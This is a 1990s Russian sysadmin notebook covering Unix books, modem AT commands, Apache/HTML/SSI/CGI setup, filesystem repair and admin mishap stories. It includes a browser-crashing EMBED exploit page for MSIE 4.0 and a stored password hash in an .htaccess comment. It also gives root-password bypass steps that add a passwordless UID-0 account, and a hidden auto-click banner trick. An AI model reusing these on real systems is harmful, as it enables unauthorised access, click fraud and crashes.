Очень толково и доступно описаны "потроха" - идеи и алгоритмы
реализации ядра. Описание Unix изнутри. Написана на "языке C" с
комментариями. Книга весьма старая, но тем не менее тем, кто
захочет узнать больше - ЧИТАТЬ РЕКОМЕНДУЮ.

Бах Морис -- русский перевод его книги ходил в виде 480Кб
архива.

&dD"Мобильная опер. система"&d@

Беляков и Co. "Мобильная опер. система" (оранжевая книжечка в
мягкой обложке) -- компиляция из POSIX стандартов времен ок.
1989г. Маленькая такая, хороша как справочник.

и еще довольно много других...

&dD"UNIX/руководство системного администратора"&d@

"UNIX/руководство системного администратора", Эви Немет, Гарт
Снайдер, Скотт Сибас, Трент Р.Хент. Киев, bhv, 1997. 830 стр.,
50 тр.

Очень, очень достойная книжка. Помогает почти от всех
болезней. Единственное, что отсутствует - Интернет security, а
ВСЕ остальное есть. ОБЯЗАТЕЛЬНО КУПИТЬ.

&dD"Linux/введение в операционную систему"&d@

Автора выясню позже. Киев, bhv, 1997. 760 стр.

Издательство bhv, известное выпоском нескольких
высококласных книг по Unix, на этот раз напечатало откровенную
халтуру. Оригинал был весьма могословен и неряшливо написан.
Перевод еще хуже оригинала. КАТЕГОРИЧЕСКИ НЕ РЕКОМЕНДУЮ.

&dD * Где купить * &d@

&dDИздательство BHV"&d@

За последнее время издало несколько очень качественных переводных книг
по Unix и Internet

"BHV - Москва" 270-2032

1. "Дом технической книги" Ленинский пр., 40 (095) 137 6019
0633*

2. "Библио-Глобус" ул. Мясницкая, 6 (095) 928 8744

3. "Молодая Гвардия" ул. Б. Полянка, 28 (095) 238 0032
5001*

4. "Центр-Техника" ул. Петровка, 15 (095) 924 3624

5. ТД "Москва" ул. Тверская, 8 (095) 229 7355

6. "Дом книги" ул. Новый Арбат, 8 (095) 203 8242

7. "Дом педагогической ул. Большая Дмитровка, (095) 229 4392
книги" 7/5

8. "Мир" Ленинградский пр., 78 (095) 152 8282

9. "Новый" ш. Энтузиастов, 24 (095) 362 0923

10. "РиС" ул. Красного маяка, 11 (095) 313 8345

11. "Ридас" Новоданиловская наб., 9 (095) 954 3044

12. "Кнорус" Милютинский пер., 19/4 (095) 928 6269

13. "Мидикс" Ленинский пр., 29 (095) 955 4101

14. "Десс" Рогожский вал, 15 (095) 366 9295

______________________________________________________
* - телефоны, где что-то могут сказать про наличие книг


ЛИТЕК - мелкооптовая торговля от "КноРуса" 911-9863
911-9742 ул. Николо-Ямская, 45 под.2. Идти от м.Таганская
кольцевая, по Садовому кольцу вниз до б.Дровянного пер,
завернуть туда и до упора в ул. Николо-Ямскую. Перейти улицу и
направо до 45 дома(там меховое ателье) вход со двора.
Полуподвал

Информацию и можно получить
http://www.book.ru
http://www.bhv.ru


&dDКниги о Linux&d@

Алгоритм такой:
пойти в крупный книжный,
взять там все книжки по линуксу, какие есть,
потом попытаться каждую из них почитать 5-10 минут.
Если от книжки не тошнит - то ее вполне можно брать.
.
&dDНесколько управляющих команд Hayes-совместимого модема&d@
(Компиляциия из документации модемов ZyXEL 1496*, GVC-1440)

AT&F0 Factory setting
Или на ZyXEL включить модем с нажатой кнопкой
Enter или Data/Voice

ATZ0 Загрузить profile 0
AT&V Распечатать setup
AT&W0 Сохранить setup в profile 0
AT&Y0 При включении загружать profile 0

ATE0 Выключить эхо

atdpТЕЛЕФОННЫЙ НОМЕР Пульсовый набор номера

+++ Выйти из connect'а в командный режим
ATO Вернуться из командного режима в CONNECT
ATH Положить трубку

ATA Поднять трубку и ответить на звонок
ATS0=2 Снимать трубку после 2-го звонка

&dDКоманды, которые обычно и сами по себе установлены&d@.


AT&P1 Make / break 33/67 (Europe)

ATQ0 Возвращать код возврата
ATV1 Код возврата текстовый

&dDКоманды, которые возможно захочется установить&d@.

AT&L1 В режим выделенных линий
AT\N5 Запретить соединение БЕЗ сжатия MNP5 или V42bis
ATB6 Поставить скорость 2400 и ниже
ATL0 Самый тихий звук
ATM0 Speaker always off

&dDКоманды GVC-1440&d@

B_ B1 Bell mode (*)
B2 Autoscan mode

D_ R originate call in answer mode
W whait for second dialtone
, pause
@ wait for 5 seconds silence
! flash
; return to command mode after dialing

H 1 make busy

I [0-4] info

L 2 medium speacker

M 0 internal speacker off
1 internal speacker on until carrier
2
3

O 0 return to data mode
1 return to data mode and initiate equaliser retrain

Регистры

s0 autoanswer ring 0
s1 ring counter 0
s2 Escape code character +
s3 CR character 13
s4 LF character 10
s5 BS character 8

S6 dial tone whait time 2 sec
S7 remote carrier whait time 45 sec
s8 comma pause time 2 sec
s9 carrier dettect responce time 6 *1/10 sec
s10 carrier loss time 14 *1/10 sec
s11 touch tone dialing speed 95 ms
s12 esc character detect time 50 1/50 sec

s14 bitmap

s16 bitmap

s18 modem test timer 0
s21 bitmap
s22 bitmap
s23 bitmap

s25 DTR delay 5 sec
s26 RTS to CTS delay interval 1 *1/100 sec
s27 bitmap
s28 bitmap
.
&dDКонфигурирование сервера HTTPD и формат языка HTML&d@



Внимание Этот текст будет слегка более доступным
для понимания, если вы посмотрите на него в исходном виде -
&dD"Document source"&d@


&dDФайлы в каталогах с документами&d@

index.html Если просят выдать каталог, то выдают index
если его нет, выдается просто оглавление каталога
HEADER.html Его содержимое добавляется перед началом листинга
README.html Его содержимое добавляется к концу листинга

.htaccess Управляющий файл с локальными настройками текущей директории

Разобраться стоит с этими характеристиками:
Alias - где то должна лежать расшифровка. а сервер будет
ее подставлять.
Вот только где ?


&dDСпецсимволы:&d@

Нужно задавать так:

& - &
" - "
> - >
< - <
>> - >>
<< - <<
(C) - © или ©
(R) - ®
- —
- –
<= - <=
>= - >=
Extra space -  

&dDЗаголовки&d@

Заголовок всего документа

Заголовок 2-го уровня



Ссылка на подраздел в документе

Ссылка открываемая в другом окне

Low impact



&dDТак вставляют картинку&d@


Если нужен текст сбоку
от картинки
Отступ текста от картинки
>
ALT - что написать, если картинка не читается,
LOWRES - перед рисованием большой картинки загрузить эту - маленькую


Так подкладывают BACKGROUND


&dDТаблички -&d@



tr - задает строку СтолбецСтолбец

Внутри таблицы может быть такой таг, Подзаголовок?



Табличка фиксированной ширины,не зависящая от размеров внутреннего текста









Back to my home page

moshkow@ipsun.ras.ru




&dDВстроенная imagemap&d@


BORDER=0 USEMAP="#navmap" ISMAP>











&dDО протоколе HTTP/1.*&d@

Клиент открывает tcp соединение с хостом www.host.com на порт
(обычно 80) и говорит туда

GET /local/url/file/name.html HTTP/1.0
Host: www.host.com
Http_referer: url_документа_на_котором_стоял_клиент
Еще некоторое количество заголовков,
которые рассказывают серверу, кто с ним имеет дело.
Все они, кроме GET необязательны
. . .
^M^J - пустая строка - конец заголовков - конец запроса

Обратно вываливается ответ сервера:

http-шные заголовки
на нескольких строках
^M^J - пустая строка
Собственно запрошенный документ as is

&dDУпражнение:&d@ скажите

$ telnet www 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /index.html HTTP/1.0

И потом два раза нажмите на Enter


&dDКак работет докачка в HTTP/1.1 протоколе?&d@

В запрос вставляется специальное поле "Range: bytes nnn-".
Сервер с докачкой возвращает код 206 - "Часть содержимого" и
передает запрошенную часть файла. Если сервер не поддерживает
докачки, он просто возвращает 200 и высылает весь файл как при
обычном запросе.

&dDSSI - Server Side Includes&d@

Полная спецификация лежит, например на www.apache.org

0. Чтобы SSI-файлы взводили Last-modified, добавить в конфиг
XBitHack full
и сделать им chmod g+x file.shtml

1. Чтобы SSI выполнялись, необходимо задать в конфигурационных
файлах сервера:

/etc/httpd/conf/access.conf :------------------------
# "Включить"
Options +Includes # или даже Options All
/etc/httpd/conf/srm.conf :------------------------

AddType text/html .shtml
AddHandler server-parsed .shtml

2. Тогда SSI отрабатываются только в файлах с расширением .shtml

Примеры:

charset=<!--#echo var="CHARSET"-->
<!--#exec cmd="ls -l" -->
<!--#include virtual="bottom.html" -->


<!--#element attribute=value attribute=value ... -->

The value will often be enclosed in double quotes; many comн
mands only allow a single attribute-value pair.

The allowed ELEMENTS are:

config - параметры парсинга
Атрибуты config
errmsg - сообщение об ошибке, посылаемое клиенту
sizefmt - формат размера файла
timefmt - формат даты модификации файла
var - напечатать имя переменной

exec - выполнить shell или CGI-скрипт
cgi - (%-encoded) URL relative path to the CGI script.
cmd - выполнить shell

fsize - напечатать размер файла
file - относительное имя файла
virtual -(%-encoded) URL-path relative файла

flastmod - последннее время модификации файла

include - вставить документ
file - вставляемый файл
virtual - URL - только на этом же хосте

Include variables

These are available for the echo command, and to any program
invoked by the document.

DATE_GMT
The current date in Greenwich Mean Time.
DATE_LOCAL
The current date in the local time zone.
DOCUMENT_NAME
The filename (excluding directories) of the document requested
by the user.
DOCUMENT_URI
The (%-decoded) URL path of the document requested by the user.
Note that in the case of nested
include files, this is not then URL for the current document.
LAST_MODIFIED
The last modification date of the document requested by the user.


If server side includes are enabled, you will see data values below:

The date is: <!--#echo var="DATE_LOCAL"-->
The current version of the server <!--#echo var="SERVER_SOFTWARE"-->
The CGI gateway version <!--#echo var="GATEWAY_INTERFACE"-->
The server name <!--#echo var="SERVER_NAME"-->

This file is called: <!--#echo var="DOCUMENT_NAME"-->
This file's URI <!--#echo var="DOCUMENT_URI"-->
The query string <!--#echo var="QUERY_STRING_UNESCAPED"-->
This file was last modified: <!--#echo var="LAST_MODIFIED" -->
The size of the unprocessed file <!--#fsize virtual="httpd.txt"-->
sample.html was last modified <!--#flastmod virtual="httpd.txt"-->
You are using <!--#echo var="HTTP_USER_AGENT"-->
You came from <!--#echo var="HTTP_REFERER"-->


# Эмуляция SSI в perl-cgi
if (/<!--#include virtual="\/bottom.htm"-->/) {
print $`;$tmp = $';
open (INC,"$inc") || die "Can't Open $inc: $!\n";
while () {
if (/<!--#echo var="DATE_LOCAL"-->/) {
@time = localtime ( time() ); $time[4]++;
if ($time[4] < 10) { $time[4] = "0" . "$time[4]"; }
s/<!--#echo var="DATE_LOCAL"-->/$time[3].$time[4].$time[5]/g;
}
print $_;
}
close(INC);
print "$tmp";
}


&dDУправление доступом через httpd.conf&d@

SetEnvIfNoCase Referer rusf\.ru internal_referer
SetEnvIfNoCase User-Agent Teleport internal_referer
SetEnvIfNoCase User-Agent Vampire internal_referer
SetEnvIfNoCase User-Agent ReGet internal_referer
SetEnvIfNoCase User-Agent GetRight internal_referer
SetEnvIfNoCase User-Agent Wget internal_referer


ErrorDocument 403 http://rusf.ru/books/index.htm
order deny,allow
deny from all
allow from env=internal_referer


# No offline browsers в robots.txt
User-Agent: DISCo Pump, Wget, WebZIP, Teleport Pro, WebSnake, Offline
Explorer, Web-By-Mail
Disallow: /

&dDCGI - спецификация интерфейса между сервером httpd&d@

и внешними, вызываемыми программами - gateeway'ями.
Сам CGI-script должен лежать в /home/httpd/cgi-bin
тогда его находят (или в других каталогах, описанных в acces.conf
Данные передаются в командной строке, через переменные
окружения, и через стандартный ввод. Возвращаются на
стандартный вывод, в начале должна стоять "волшебная строка"

Если добавить в коннфигурационный файл
/etc/httpd/conf/srm.conf :------------------------
AddType application/x-httpd-cgi .cgi
То CGI-скрипты можно будет клась в любой подкаталог дерева
документов - с расширением .cgi

&dDФормы и индексы&d@

Войти в файл, и спозиционироваться на строку с шаблоном "cl"
http://hoohoo.ncsa.uiuc.edu/file.html#cl

Request for a CGI script with no extra path information and no query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi

Request for a script with extra path information, and no query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path

Request for a script with no extra path information, and an ISINDEX query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?query

Request for a script with extra path information as well as an ISINDEX query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path?a+query

Вызывается одна и та же программа, но ей передается 0,1,1 или 2 аргумента:
extra path - "добавочный маршрут", идущий вслед за именем екзешника
query - длинная строка после знака "?"

на extra path работает image map - им передается имя описателя картинки
query передается заполненным ISINDEX

&dDCGI-скрипту передаются такие параметры:&d@

Параметры передаются в переменных окружения.

REMOTE_ADDR=127.0.0.1
REMOTE_HOST=localhost
HTTP_REFERER=http://www.ac.msk.su:80/cgi-bin/html-KOI?KSP/bachurin.txt

REQUEST_METHOD=GET

QUERY_STRING=query
PATH_INFO=/marshrut
PATH_TRANSLATED=/home/httpd/docs/marshrut

SCRIPT_NAME=/cgi-bin/proba
HTTP_USER_AGENT=NCSA Mosaic for the X Window System/2.4 libwww/2.12 modified


А теперь вот как оформляются формы с checkbox'ами:


Press me.


Press me.








# ISINDEX - параметр запроса передается пргограмме CGI в $1

# В форме METHOD=GET - там вызывается команда которой передается
# аргумент в переменной окружения QUERY_STRING
# http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?button1=on&button2=off

# А вот как работает POST, и PUT. Дополнительная информация проталкивается
клиентом на сервер. Сервер подает ее cgi-программе на стандартный ввод.
длина посылаемого файла устанавливается в переменной окружения CONTENT_LENGTH
а тип данных - в CONTENT_TYPE

FORM ACTION="http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi" METHOD="POST"



^^^^^ поле полезно чтоб хранить информацию о "сеансе"
Press me.













&dDЧто мы посылаем клиенту обратно:&d@

Status: 200 OK
Status: 404 File not found

Content-type: text/html

Содержимое, которое кидается сквозь нашего сервера - клиенту

Если я генерю не содержимое, а только ссылку, то:

Location: /path/doc.txt
или
Location: gopher://gopher.ncsa.uiuc.edu/


Генерим текст в чистом серверном виде - он поедет
клиенту сразу, без дополнительной фильтрации:

--- start of output ---
HTTP/1.0 200 OK
Date: Tuesday, 26-Dec-95 15:17:10 GMT
Server: NCSA/1.3
MIME-version: 1.0
Content-type: text/html
Last-modified: Tuesday, 24-Dec-95 15:15:41 GMT
Content-length: 3132

This is a plaintext document generated on the fly just for you.
--- end of output ---
Подставляйте туда соответствующие значения переменных
$SERVER_PROTOCOL $SERVER_SOFTWARE


&dDФенечки&d@
<!-- at the beginning of EACH line commented out; Комментарий -->
Автоподстановка URL с timeout'ом. Подставить в начало документа:



Дальше идет местный HTML-документ - который через 12 секунд будет
автоматически заменен на вышеуказанный URL

Вообще - таг META HTTP-EQUIV позволяет взвести дополнительные поля в
HTTP-заголовок документа. Например "насильственное взведение charset'а:




I'm entering for the first time from (city, state/country)







Content-type: text/html
Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Feb-96 23:59:59 GMT; path=/cgi-bin/mycgiprogram
Эта штучка будет автоматом отсылаться в наш сервер клиентом, как только он ее получил

Подробнее см. http://citforum.ru/win/internet/html/c_what_is.shtml


Если сказать так, то клиент останется на старом месте, и не
будет переходить по ссылке
Status: 204 No Content

А такой линк позволяет сразу заполнить некоторые поля в mailto послании
>tets

Самокликаемое письмо






> Была идея посылать в него сообщение когда мышкой над баннером проводят.
> (Когда баннер интересен, часто к нему курсор подводят)
> Но что-то я не допгр как это реализовать без hidden frame.

В правилах устанавливаешь, что у тебя _стандартный код_
твоей сетки содержит:

<!-- собственно баннер -->



<!-- контрольноследовая полоса шириной 1 пиксель -->
onMouseOver="OpenLink()"; return true>



Когда клиент будет снизу _пересекать_ мышью твою однопиксельную
полоску будет автоклик, а чтоб клиента не напрягать -
пускай твой http://koshelev.ru/cgi-bin/bannerOver
возвращает код 204 No Content - т.е. _не переходить_ на линк а
остаться на старой странице.

&dDСсылка на которую переходят автоматически&d@


Достаточно навести на эту ссылку мышь, и броузер пойдет по
линку - без клика.



&dDПростые эксплойты&d@
MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag.

<EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________>
opens a dialog box and closes IE 4.0. the long file extension causes stack overrun.
--------cut here and save as crashmsie.html---------------------

Trying to crash IE 4.0
<EMBED
SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789>
40
80 160 170 180 190 200
</HTML>
---------------------------------------------------------------
&dDЗакрытие каталогов для внешних клиентов&d@

Создаем в каталоге файл .htaccess такого содержания


order deny,allow
deny from all
allow from polimos.ras.ru localhost



AuthType Basic
AuthName lenta.ru
AuthUserFile /home/www/passwd
# moshkow:1HrhNpfYnwTau стандартный crypt()
require valid-user


&dDСм. так же&d@

Константин Окраинец. Учебник по HTML из Дубны
Фреймы и прочие дополнения, возникшие в HTML 2.0 и HTML 3
.
&dDРемонт разрушенных файловых систем&d@

Практически единственное средство лечения разрушений файловой системы во
всех Unix - утилита &dDfsck&d@. Если не лечит она, то дело ваше почти безнадежно.
Я бы посоветовал в морг, но энтузиасты могут еще немного подергаться.

&dD * LINUX * &d@

Примечание: команды приведенные в примерах следует выполнять только
внимательно взвесив возможные последствия. Поэтому в примерах реальные
имена спецфайлов разделов жесткого диска заменены на &dD/dev/hd-name&d@
(в реальной жизни применяется /dev/hda2, /dev/hdb3 /dev/sda1...)

Тонкая рихтовка fs &dDtune2fs&d@ позволяет поменять настраиваемые параметры
файловой системы -c max-mount-counts -m reserved-blocks-percentage и т.п.

tune2fs -m 1 /dev/hd-name # найдет вам еще 50Mb свободного места,
# и позволит учинить на оставшемся клочке
# свободного места катастрофическую фрагментацию

Стандартное лечение файловой системы:

fsck -y -c -f /dev/hd-name

Форсированное лечение с проверкой и "замещением" bad-блоков

fsck -y -c -f /dev/hd-name
# -y неинтерактивное лечение "yes" на все вопросы
# -c найти bad-блоки readonly тестом и перенести в inod bad-блоков
# -f форсировать проверку (игнорировать флаг "fs is clean"

Если погиб основной суперблок, добавить ключ -b 8193 или -b 16385 ...
указав запасную копию. Номера запасных sb сообщает при разметке раздела
утилита newfs. (Вы конечно же сохранили ее листинг?)

Распечатать размещение служебных структур fs и параметры суберблока
могут команды &dDtune2fs -l&d@ и &dDdumpe2fs&d@

tune2fs /dev/hd-name
dumpe2fs /dev/hd-name

Если погибли _все_ копии суперблока - последний шанс &dDmke2fs -S&d@ прописать
_только_ структуры суперблоков и описатели групп, не трогая самих данных

mke2fs -S /dev/hd-name # Write superblock and group descriptors only
fsck -y /dev/hd-name # сразу всед за этим запустить fsck

И даже это еще не конец. Для сильных духом остается отладчик файловой
системы &dDdebugfs&d@

man debugfs

&dDПоведение в авариной ситуации&d@

Естественно, целее будете, если загрузитесь в single-user mode
Для этого перехватить при загрузке LILO-промпт (Left-alt)
И в команду загрузки добавить параметр single

Lilo: &dDlinux single&d@

В linux'овский single-user можно попасть только зная пароль root. Не зная
пароля, надо грузиться так:

Lilo: linux init=/bin/sh

или даже так (если подготовлена rescue-дискета с файловой системой unix)

Lilo: linux init=/bin/sh root=/dev/fd0H1440

Перемонтировать корневой раздел из readonly в write

mount -t ext2 -n -o remount,rw /dev/hd-root /

Смонтировать разрушенную fs, используая альтернативный суперблок

mount -t ext2 -o sb=8193,nocheck /dev/hd-name /mntname

Пдробности (вы будете смеяться):

man mount
.
&dDМаксим Мошков. Истории из жизни администратора Unix, или Грабли&d@

&dDИстория 1 со счастливым концом. Испорченный /etc/passwd&d@

&dD
> Один товарищ (не я :), это из Коми) решил своему root'y вместо положенного
> /sbin/sh сделать /bin/ksh
> Для чего отредактировал /etc/passwd, но неудачно, ошибся и назначил
> /sbin/ksh.
> Пробовали:
> $ su root -c /sbin/sh
> Не помогло. Теперь он горько плачет и хакера зовет.
> Можешь помочь, или суровое: переустанови юних?
&d@

Это мы проходили. Классика. Перво- наперво "никогда, НИКОГДА
не меняй shell у суперюзера..." :-)

0. Запустить shell из-под root'а все-таки можно: su root -m -s /bin/sh
Но если еще и пароль забыт, тогда - поможет загрузка в
single user mode или загрузка с CD/floppy/tape

1. Дать команду df, посмотреть минор/мажор у девайса, на
который монтируется корень, и затем почитать мануал по команде

mknod # mkdev, mknode, mksf - создать специальный файл
# или как там еще она называется

и записать на бумажке команду, которой создается
спец-файл /dev/root (или куда там монтируется "/"

2. Загрузиться с инсталляционного стриммера/дискеты/CD.
и там где уход на install/update/system maintance пойти на
"system maintence" (это всего навсего shell root'овый)

Осталось смонтировать /dev/root на /mnt
и редактировать /mnt/etc/passwd

&dDЗасада No 1&d@

Сразу после загрузки мини-системы специальных файлов
соответствующих жесткому диску нет (!). Сделать его ручками -
команда mknode уже записана на бумажке.

&dDЗасада No 2&d@

Редактор vi не запускается (Нет terminfo) Ну и черт с ним.
Придумаешь что нибудь. Например

echo "toor::0:0:Yet another Super-User:/:" >> /mnt/etc/passwd
^^^^^^

обрати внимание что >> а не > (Угадай почему :-)


а можно и так:
PATH=$PATH:/mnt/bin:/mnt/usr/bin export PATH
TERMINFO=/mnt/usr/lib/terminfo # или где он там

Короче - ты дома потренируйся, а потом в Коми напиши точные
имена файлов и команд, а то боюсь необученный админ сможет
промахнуться пару раз, а здесь промахиваться нельзя.

Приложение: Обход root passwd в Motorola Unix SVR4/88.

1. Посмотреть major/minor для / и /usr

104 0 /dev/root
104 3 /dev/dsk/m197_c0d0s3

2. Загрузка с ленты, уход на maintance .
3. Подмонтировать разделы диска, соответствующие / и /usr, с
восстановлением файловой системы (т.к. система была выключена некорректно
при отсутствии root пароля).

mkdir /mnt
mknod /dev/rootn b 104 0
/etc/fs/ufs/fsck /dev/rootn
mount -F ufs /dev/rootn /mnt

аналогично для /usr

mknod /dev/usr3 b 104 3
/etc/fs/ufs/fsck /dev/usr3
mount -F ufs /dev/usr3 /mnt/usr

4. Отредактировать /etc/passwd, сделать беспарольного root

echo "toor::0:1:Adm:/:/sbin/sh" >> /mnt/etc/passwd

5. Cменить корень root'у (будет в /mnt)

chroot /mnt /sbin/sh

6. Обновить shadow

pwconv

Все.

&dDИстория 2 почти о том же. Испорченный /etc/fstab&d@

Date: 20 Apr 1997
From: Bernshtam Pavel (barnshte@CS.bgu.ac.il)

У меня тоже было - запортил я /etc/fstab и сделал reboot не
заметив ошибки - бабах - поднимается (а это был Axil с SunOS
4.1) в single user.

я делаю ls - Command not found - понятно - не замоунтил /usr

посмотрел я на другом SUN'е что есть в /sbin - нашел mount,
обрадовался - сделал /sbin/mount /usr.

Есть VI!

Помучался пока установил нужный set TERM с полчаса - запустил
VI. открываю fstab - фигня со строками (вот оно - не работайте
в PICO, учите VI !!!), исправил, save'лю - а root partition то
READ ONLY !!!

Делаю stop-A.

Слава богу, посоветовали мне, что в boot-мониторе можно сделать
b -rw (замаунтить с write), после этого я повторил всю
процедуру с mount и VI и исправил /etc/fstab.

а... еще забыл - VI не запускался пока я /var не замаунтил, т.к
/tmp - линк на /var/tmp , а VI без /tmp не идет.

/* а на Linux специальная команда есть - перемонтироваться на
read-write - ее из single-user-mode можно выполнить

mount -n -o remount /
*/


&dDКоманда rm -rf в SCO&d@

Ввиду того, что под шаблон ".*" подходит каталог ".."
НИКОГДА НЕ ДЕЛАЙТЕ КОМАНДЫ rm -r .*

(Большинство unix'ов прощают подобную ошибку, но НЕ ВСЕ)

&dD
From: Павел Северов

"... решил я на нашем SCO-шном сервере с Oraclовской базой
расчистить немного свободного места на диске..."

# cd /usr/tmp
# rm -rf *

гляжу, а там всякий хлам остался /usr/tmp/.X11-0 ну и т.п.
А я тогда

# rm -rf .* # ОЙ!

# du
ldd: Can not open file
# df
ldd: Can not open file
# ls -al
ldd: Can not open file

&d@
. . .

У этой истории грустный конец. Вы уже догадались, что
/usr/tmp/.* содержит в себе /usr/tmp/.. После reboot'а машина,
не найдя каталога /usr уже не ожила.

&dDУдаленный доступ или "Запасной ключ от сейфа лежит в сейфе"&d@

Хорошая штука, Unix + TCP/IP - можно отконфигурить машину
у черта на куличках не вставая с рабочего места и даже не
выходя из дома.

&dDИстория 1.&d@ Вот и я однажды менял то ли IP-адрес, то ли
роутинг на удаленной машине... Короче - промахнулся, сказал

ifconfig eth0 down

Вот собственно и все. Сказать
ifconfig eth0 NEW-IP было уже некому.

Вы конечно догадались, что _НАДО БЫЛО_ одной строкой писать
ifconfig eth0 down ; ifconfig eth0 NEW-IP up ; route add ...

&dDИстория 2.&d@ Захотелось повысить уровень security. Пишем
в /etc/hosts.deny
ALL:ALL

в /etc/hosts.allow
ALL:193.263.12.13
^^^ вроде бы маленькая ошибочка, цифры переставить, а
нельзя - я уже успел отлогиниться.

&dDУдаленный "доступ" или "Ключа вообще нет"&d@

Повис у нас однажды сервер, надо reset нажать,
перегрузить, а комната заперта, и ключи уже унесли. И telnet'ом
не войдешь - некуда.

Вырубили свет на всем этаже, включили вновь - voila!

&dDНовая /lib/libc.so - апгрейд LIB C&d@

Linux. 1993 год. Потребовалось подменить LibC. Ну, вперед,
делов-то - старую передвинуть, новую - на ее место.

cd lib
mv libc.so libc.so-old
mv libc.so-new libc.so
ldd: Can not execute, shared library not found
Finish.

Пришлось грузиться с дискеты, монтировать hd.

Но, как это ни смешно, в следующий раз те же команды,
записанные в одну строку, сработали. Или библиотечка в кэше
оказалась... Темна вода в Linuxе. Впрочем, файлы из каталога
/sbin - обычно staticaly-linked - им для работы разделяемая
libc без надобности.

&dDИстория 1. Trusted mode - безопасность превыше всего&d@

В HP-UX новички администраторы очень любят sam'ом поиграть
- GUI, мышиный интерфейс - администрируй на здоровье. Вот
только читать сообщения надо - а они по-английски все.
Очень легко, одним "Ok" в SAM включается перевод системы в
trusted режим. Включают, и не замечают. А замечают через пару
дней, когда с трех раз не угадают пароль root. В trusted режиме
логин после этого блокируется совсем, а другого юзера ПЕРЕД
ЭТИМ завести - не догадываются.

Как всегда - нас спасет single user mode: перехват
загрузки в prompt IPL и затем

IPL> hpux -is

А затем запуск sam. И переконвертировать систему в "untrusted"

# mount -a
# sam

Но если вы ухитрились еще и пароль на boot включить - то
помогайте себе сами.

&dDИстория 2. Security class C2: о том же, но в SCO&d@

Security class C2 - это повышенная безопасность. И повышенный
геморрой для пользователей. И для администратора - тоже.
Привелось нам позвонить на защищенную SCO машину из Москвы
в Питер, по модему. Скорости getty с первого раза подобрать не
смогли, на логин прорывался 6-битный мусор, после третьей
попытки вместо getty Login мы увидели "Intruder attempts, tty
line /dev/modem disabled".

Через пару недель хозяин машины вернулся в Питер и вернул getty.

&dDScreen-сейвер и кнопка Enter&d@

Когда screen-saver гасит экран, что вы нажимаете? Не знаю, как остальные, а
я жму клавишу CTRL.

Один мой знакомый решил почистить каталог /tmp. Из-под root'а. набирает он

rm -rf /tmp/*, точнее хочет набрать, поскольку в момент
rm -rf /_ звонит телефон и его куда-то вызывают.

Через час он вернулся, увидел погашенный экран, и нажал _свою_ любимую
клавишу. Угадайте, какую?
.